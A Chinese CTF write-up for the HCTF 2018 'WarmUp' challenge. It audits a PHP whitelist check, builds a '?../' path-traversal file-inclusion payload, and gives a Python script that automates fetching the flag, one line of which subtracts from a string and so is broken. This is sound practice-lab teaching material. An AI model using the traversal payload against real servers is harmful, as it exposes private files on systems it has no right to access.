CTF_EXP05:BUUCTF CTFHUB [HCTF 2018] WarmUp

薛定諤了麼發表於2020-10-18

CTF_EXP05:BUUCTF CTFHUB [HCTF 2018] WarmUp

啟動靶機,開啟環境:
在這裡插入圖片描述
根據提示是一道PHP程式碼審計的題目,檢視網頁原始碼:

<body>
    <!--source.php-->

發現提示的新頁面,訪問得到原始碼:
在這裡插入圖片描述
分析原始碼:
先看最後的一個if

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    } 
  1. 傳入的變數file不為空,並且為string型別,並執行checkFile()函式
  2. 三個條件為真則執行include
  3. 三個條件為假則輸出滑稽

檢視checkFile()函式:

public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
  1. 有兩個頁面:source.phphint.php
  2. 四個if判斷:
  • $page不為空或不為字串,返回false
  • $page$whitelist陣列中,返回true
  • mb_substr()函式擷取字串
  • mb_strpos()函式返回在$page?前的內容,沒有則返回$page的值
  • 擷取後$page$whitelist陣列中,返回true
  • $page進行URL解碼
  • 執行與之前相同的擷取操作
  • 解碼擷取後$page$whitelist陣列中,返回true

訪問checkFile()函式中的hint.php頁面:
在這裡插入圖片描述
提示了flag所在的路徑,嘗試訪問:

/source.php?file=source.php?../ffffllllaaaagggg

因為checkFile()函式會匹配?前的內容是否在陣列whitelist中,因為不知道在哪個目錄,多次新增../得到flag
在這裡插入圖片描述
最終payload

/source.php?file=source.php?../../../../../ffffllllaaaagggg

EXP如下:

# -*- coding:utf-8 -*-
# name: Meng
# mail: 614886708@qq.com
# ctf_exp05:BUUCTF CTFHUB [HCTF 2018] WarmUp

import requests
import re


class WarmUp:
    def __init__(self, url_input, platform_input):
        self.platform = platform_input
        self.payload = '/source.php?file=source.php?../../../../../ffffllllaaaagggg'
        self.status_code = 1        # 連結狀態:0:無效,1:連通
        self.url_list = ['', 'source.php', 'hint.php']  # 三個連結
        self.url = url_input.strip()
        self.flag = ''

    def url_test(self):
        # 可以重複輸錯10次連結
        for i in range(9):
            try:
                # 對輸入的url做修改
                if self.url.endswith('/index.php'):
                    self.url -= 'index.php'
                elif self.url.endswith('/index.php/'):
                    self.url -= 'index.php/'
                elif self.url.endswith('/'):
                    pass
                else:
                    self.url += '/'

                # 嘗試訪問連結是否全部為200
                requests.get(self.url)
                for j in self.url_list:
                    requests.get(self.url + j)
                    print('測試連結: 200  ' + self.url + j)
            except:
                print('無效連結!請重新輸入!')
                self.url = input('請輸入題目連結:')
                self.status_code = 0

            else:
                self.status_code = 1
                break

        if self.status_code == 0:
            print('無效連結!退出程式!')
            return

    def num_test(self):
        # 設定獲取flag只能重複30次
        for i in range(30):
            try:
                r = requests.get(self.url + self.payload)

                if self.platform == 1:
                    # 匹配ctfhub平臺flag格式
                    self.flag = re.search(r'ctfhub\{.+\}', r.text).group()
                elif self.platform == 2:
                    # 匹配buuctf平臺flag格式
                    self.flag = re.search(r'flag\{.+\}', r.text).group()

            except:
                print('第 ' + str(i+1) + ' 次未獲取到flag! 正在重試!')
            else:
                self.status_code = 1
                break

    def run(self):
        self.url_test()     # 連線測試
        self.num_test()     # flag獲取

        if self.flag == '':
            print('已嘗試30次!未獲取到flag! 退出程式!')

        return self.flag


if __name__ == '__main__':
    print('ctf_exp05: BUUCTF CTFHUB [HCTF 2018] WarmUp')
    print('平臺序號:1. ctfhub     2. buuctf')
    platform_input = int(input('請選擇題目平臺序號:'))
    url_input = input('請輸入題目連結:')
    print(WarmUp(url_input, platform_input).run())
    input()  # 防止退出cmd

輸入平臺編號(平臺flag格式不一樣)與題目連結,得到flag

在這裡插入圖片描述